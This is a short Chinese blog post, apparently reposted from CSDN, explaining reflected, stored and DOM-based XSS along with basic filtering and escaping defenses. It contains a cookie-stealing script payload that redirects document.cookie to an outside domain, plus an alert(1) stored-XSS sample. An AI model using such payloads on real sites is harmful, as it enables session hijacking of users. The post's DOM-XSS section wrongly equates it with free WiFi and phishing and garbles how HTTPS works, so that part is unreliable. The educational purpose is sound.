XSS的类型详解

(1)反射型(reflected xss): 
            基于反射性攻击,依靠服务端反回的脚本,在客户端执行,形成web攻击。
            发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返
        回给浏览器,最后浏览器解析执行XSS代码,这个过程就像一次发射,所以叫反射型XSS。
        例子:
        1、比如搜索电影或者书籍的时候,如果没有此电影,会在页面显示404,或电影名称+没有找到此内容
        2、在搜索框中输入如script标签,在过滤的情况下不会当做脚本去执行,反之如果不过滤就会形成攻击
        3、根据用户的cookie,可以人为的去获取用户信息
            http://www.huahao.com?cookie=<script>document.location=http://www.huahao.com?get=document.cookie</script>
        防范措施:
        1、在客户端显示服务端数据时,首先需要对其进行过滤标签、属性
        2、可以通过转义\ &gt &lt
            <p><script>alert("安全")</script></p>
            转义后 <p>&lt;script&gt;alert(&#34;安全&#34;)/script&gt</p>
    (2)存储型(stored): 
            基于存储型的攻击,存储在服务器端,带有恶意的文章或者帖子,用户每次访问时都会触发。
            存储型XSS和反射型的XSS差别就在于,存储型的XSS提交的代码会存储在服务器端(数据库,内存,文件系统等),
        下次请求目标页面时不用再提交XSS代码。
        例子:
        1、上传文章时带有恶意脚本
            上传文章<script>alert(1)</script>
        2、直接在服务器端插入攻击脚本
        3、没有对文章进行过滤,直接保存进服务器中
        防范措施:
        1、对其文章进行过滤
        2、对输出的内容进行转义
    (3)基于DOM的基本类型
            基于提供一个免费WiFi,进行连接,或者是一个钓鱼网站
        防御措施:
        https 通过一次握手产生一个公钥

发布了11 篇原创文章 · 获赞 7 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/a_helloworlds/article/details/79722309